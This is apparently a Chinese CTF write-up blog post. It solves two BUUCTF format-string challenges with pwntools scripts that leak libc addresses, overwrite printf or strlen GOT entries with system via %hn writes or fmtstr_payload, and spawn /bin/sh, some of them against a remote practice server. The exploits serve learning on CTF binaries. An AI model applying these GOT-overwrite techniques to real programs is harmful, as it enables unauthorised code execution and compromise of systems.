星盟 | 栈上格式化字符串漏洞利用

wdb_2018_2nd_easyfmt | buuctf

查看保护可以知道GOT表可写,只开了NX保护,主体函数是循环函数,那么可以通过泄露地址,将printf(&buf);覆写为system("/bin/sh");

但是程序中本身没有调用system,所以要在libc中找system,所以第一步是泄露地址,模拟输入,泄露栈数据(与libc有关的)

printf与system的地址有2.5字节不同

# 本地
from pwn import *
context.log_level = "debug"
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#p = remote("node4.buuoj.cn",26170)
p = process("wdb_2018_2nd_easyfmt")

elf = ELF('./wdb_2018_2nd_easyfmt')

 
libc = ELF("./lib32.so")

printf_got = elf.got['printf']

success("printf_got => {} ".format(hex(printf_got)))
def myp32(input):
    return p32(input).decode("iso-8859-1")


#gdb.attach(p,"b*printf")

p.recvuntil("Do you know repeater?\n")
p.sendline("%3$p")
libc_base = int(p.recv(10),16) -  0x9079b 
system_addr = libc_base + 0x3adb0



success("libc_base => {} ".format(hex(libc_base)))
success("system_addr => {} ".format(hex(system_addr)))


'''
system_low = system_addr&0xffffS
system_high = (system_addr>>16)&0xffff
payload = myp32(printf_got) +myp32(printf_got+2)  
payload += "%"+str(system_low-8)+'c%6$hn'
payload += "%"+str(system_high-system_low)+'c%7$hn'
'''
payload = fmtstr_payload(6,{printf_got:system_addr},write_size = 'short')
p.send(payload)
#pause()
#sleep(0.2)
pause()
p.send('/bin/sh\x00')
#p.recvall()
pause()
p.interactive()


axb_2019_fmt32 | buuctf

跟上题的保护机制一样,IDA源码如下,对于循环有输入的时间限制,可以选择泄露libc基地址

在printf处下断点,可以看到输入相对于格式化字符串的偏移为8,并且还没对齐,对其需要一个字符。

#本地

from pwn import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

r = process("./axb_2019_fmt32")
#r = remote("node4.buuoj.cn","27205")
elf=ELF("./axb_2019_fmt32")
libc = ELF("./libc-2.23 .so")
printf_got = elf.got['printf']

def myp32(input):
    return p32(input).decode("iso-8859-1")

#gdb.attach(r,"b *printf")

payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr:"+hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)

#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

libc_base=printf_addr-0x49680
system=libc_base+ 0x3adb0

success("libc_base => {} ".format(hex(libc_base)))
success("system_addr => {} ".format(hex(system)))


payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
gdb.attach(r,"b *printf")
#pause()
r.sendline(';/bin/sh\x00')

r.interactive()

参考


#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process("./axb_2019_fmt32")
sh = remote("node4.buuoj.cn","27205")

please_tell_me = 0x804887D
printf_got = 0x804A014
strlen_got = 0x804A024

def myp32(input):
    return p32(input).decode("iso-8859-1")

x = 'A' + myp32(printf_got)+ '22' + '%8$s'
sh.sendafter("Please tell me:",x)

sh.recvuntil("22")
printf_addr = u32(sh.recv(4))
print(hex(printf_addr))

system_addr = printf_addr - 0xe6e0
binsh = printf_addr + 0x11000b


high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
print('sys'+hex(system_addr))
print('low'+hex(low_sys))
print('high'+hex(high_sys))

x = 'A' + myp32(strlen_got) + myp32(strlen_got+2) + '%' + str(low_sys-18) +'c%8$hn' + '%' + str(high_sys - low_sys) + 'c%9$hn'
#x = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n' 
# 用%n写入不行,程序超时而且并没有写入,之后还是正常运行
sh.sendafter("Please tell me:",x) 


x = ';/bin/sh\x00'
sh.sendafter("Please tell me:",x)

sh.interactive()

远程
from os import system
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#r = process("./axb_2019_fmt32")
r = remote("node4.buuoj.cn","27205")
elf=ELF("./axb_2019_fmt32")
#libc = ELF("./libc-2.23 .so")
printf_got = elf.got['printf']
strlen_got = 0x804A024
def myp32(input):
    return p32(input).decode("iso-8859-1")

#gdb.attach(r,"b *printf")

payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr:"+hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)

#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

system = printf_addr- 0xe6e0

success("system_addr => {} ".format(hex(system)))


payload=b'a'+fmtstr_payload(8,{strlen_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
#gdb.attach(r,"b *printf")
#pause()
r.sendline(';/bin/sh\x00')

r.interactive()

不太明白的是为什么要替换strlen和地址偏移(跟libc的版本有关)

参考进行vscode调试

还是没有找到合适的libc以及ld

posted @ 2021-10-03 21:03  zer0_1s  阅读(264)  评论(0编辑  收藏  举报